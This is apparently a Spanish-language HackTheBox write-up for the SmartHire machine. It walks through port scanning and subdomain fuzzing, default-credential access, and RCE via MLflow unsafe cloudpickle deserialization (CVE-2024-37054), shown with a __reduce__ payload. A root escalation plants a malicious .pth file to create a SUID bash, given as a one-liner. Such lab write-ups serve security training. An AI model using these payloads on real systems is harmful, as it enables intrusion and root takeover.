Post

HTB SmartHire Writeup

HTB SmartHire Writeup

Muy buenas con todos, el día de hoy voy a resolver la máquina SmartHire de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.

Reconocimiento

Primero comprobamos si hay conexión con la máquina y, de paso, gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128. Aunque igual es un valor que se puede manipular.

1
2
3
4
5
6
7
ping -c1 10.129.121.216
PING 10.129.121.216 (10.129.121.216) 56(84) bytes of data.
64 bytes from 10.129.121.216: icmp_seq=1 ttl=63 time=119 ms

--- 10.129.121.216 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 119.217/119.217/119.217/0.000 ms

Vemos que el ttl de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux.

Ahora vamos a identificar los puertos abiertos dentro de la máquina, los invito a usar el siguiente script hecho en bash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash

GREEN="\e[32m"
RED="\e[31m"
RESET="\e[0m"

IP="$1"

if [ -z "$IP" ]; then
  echo "Uso: $0 <IP>"
  exit 1
fi

TEMP_FILE=$(mktemp)

echo -e "${GREEN}[+] Escaneando todos los puertos abiertos... ${RESET}"

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn "$IP" -oG "$TEMP_FILE"

# Extraer los puertos abiertos
PORTS=$(grep -oP '\d+/open' "$TEMP_FILE" | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//'; echo)

rm "$TEMP_FILE"

if [ -z "$PORTS" ]; then
  echo -e "${RED}[-] No se encontraron puertos abiertos.${RESET}"
  exit 1
fi

echo -e "\n${GREEN}[+] Escanenado servicios en los puertos: $PORTS. ${RESET}\n"

nmap -sCV -p"$PORTS" "$IP" -oN target

echo -e "\n${GREEN}[+] Escano completado. Resultados en 'target'.${RESET}\n"

Se debe usar el script como root, ya que algunos parámetros de nmap, requieren de privilegios elevados. Esto al final nos va a generar un archivo target que contiene la información de los puertos abiertos dentro de la máquina.

1
sudo ./scan.sh 10.129.121.216
1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_  256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Por lo pronto el escaneo reporta abierto los puertos 22 - ssh y 80 - http, vemos que en el servidor web se aplica resolución DNS, y por ende nuestra máquina no sabe qué es smarthire.htb, así que lo agregamos al /etc/hosts, para que sepa dónde resolver

1
echo "10.129.121.216 smarthire.htb" | sudo tee -a /etc/hosts

Analizando la web

Si vemos la web tenemos lo que parece ser un sistema para entrenar modelos de inteligencia artificial AI, tenemos un panel de inicio de sesión y otro de registro, por lo que procedemos a registrar una cuenta, en el panel principal de usuario al parecer podemos subir nuestros archivos en formato CSV y nos dan un ejemplo de como se deben hacer, podemos copiar ese ejemplo y subirlo para ver que tal.

Identificando nombre del modelo subido

Al subir el archivo se muestra el estado del mismo, el nombre al parecer se compone de Compnay Name puesto en el registro, un hash y la palabra model.

Luego de una búsqueda exhaustiva sobre si existe alguna manera de explotar la web al subir un CSV malicioso, no se logro encontrar nada. Pero podemos buscar subdominios.

Enumeración de subdominios

Vamos a ver si logramos encontrar algún subdominio asociado a la web. Para ello uso los archivos del repositorio SecList.

1
ffuf -c -t 100 -w SecLists/Discovery/DNS/n0kovo_subdomains.txt -H "HOST: FUZZ.smarthire.htb" -u http://smarthire.htb/ -fw 6

Logramos obtener uno models.smarthire.htb, así que lo agregamos al /etc/passwd para ver qué contiene. Vemos que al acceder es un HTTP Basic Auth probamos usar credenciales comunes como admin / password y logramos ganar acceso.

CVE-2024-37054 a RCE

Una vez dentro identificamos un servicio llamado MLflow, al parecer este “es una plataforma de código abierto diseñada para gestionar el ciclo de vida completo de los proyectos de aprendizaje automático (Machine Learning) e inteligencia artificial”.

Reconocimiento de la versión de MLflow

Tenemos su versión usada también, si buscamos por vulnerabilidades asociadas, damos con algo llamado MLFlow unsafe deserialization y en el siguiente repositorio donde ya nos facilitan para ganar una rev shell

Ahí explican como se debe hacer para lograr el RCE, básicamente es subir un CSV valido, editar el generate_model.py eso nos genera un archivo model.pkl, luego editamos el upload_model.py que es con el cual vamos a subir el .pkl, luego nos ponemos en escucha por el puerto designado, sacamos la cookie de nuestro usuario en http://smarthire.htb y mediante curl lanzamos la predicción del CSV para que ocurra la magia, con ello ganamos acceso como svcweb y obtenemos la user.txt.

Ejecución remota de codigo en la versión vulnerable de MLflow

¿Por qué ocurre esta vulnerabilidad?

Existe porque el componente pyfunc de MLflow utiliza la librería cloudpickle para deserializar y cargar funciones de Python personalizadas desde los artefactos del modelo. Al igual que el pickle estándar de Python, cloudpickle no es seguro y ejecutará cualquier código arbitrario incrustado en el archivo al momento de ser deserializado.

Por qué cloudpickle/pickle es peligroso

Durante el proceso de deserialización (cloudpickle.load()), Python busca e invoca el método mágico __reduce__ dentro del objeto. Este método define cómo debe reconstruirse el objeto, pero un atacante puede manipularlo para ejecutar comandos del sistema operativo de forma automática.

1
2
3
4
5
6
7
8
9
10
import os
import cloudpickle

class Exploit:
    def __reduce__(self):
        # Esto se ejecuta AUTOMÁTICAMENTE en el servidor con cloudpickle.load()
        return (os.system, ("reverse_shell_cmd",))

# El atacante guarda este objeto malicioso como un artefacto pyfunc
malicious_bytes = cloudpickle.dumps(Exploit())

El Vector en MLflow

MLflow confía ciegamente en los archivos empaquetados dentro del artefacto del modelo pyfunc (específicamente al invocar mlflow.pyfunc.load_model). No existía ninguna validación ni aislamiento del contenido. Cuando el servidor de inferencia o un usuario consulta el modelo o este se inicializa para el endpoint /predict, se ejecuta el payload y se obtiene el RCE.

Escalada de privilegios

Vemos que como svcweb podemos ejecutar un comando con privilegios root.

Identifiación del privilegio como root para svcweb

Luego de analizar un poco el script se llega a la siguiente conclusión, site.addsitedir() ejecuta código de archivos .pth, cuando el script hace:

1
2
3
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))  # ← aquí

site.addsitedir() no solo agrega el directorio al sys.path. Internamente llama a site.process_pth_file() que ejecuta con exec() cualquier línea que empiece con import dentro de archivos .pth.

En el directorio dev/ como el grupo devs, se puede escribir, entonces se crea pwn.pth ahí con:

1
import os; os.system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash")

El orden de ejecución es:

1
2
3
4
5
6
7
8
El script arranca como root
	Itera plugins/ → encuentra dev/
		site.addsitedir("plugins/dev/")
			process_pth_file("pwn.pth")
		      exec("import os; os.system(...)") -> Corre como `root`
				Luego importa mlflow_actions y backup_models
					main() ejecuta la acción
						El .pth se procesa antes de cualquier import del script. 

Con todo ello, podemos usar el siguiente oneliner para lograr convertirnos en root y obtener la root.txt.

1
echo 'import os; os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")' > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth && sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status && /tmp/rootbash -p

Elevación de privilegios a root

This post is licensed under CC BY 4.0 by the author.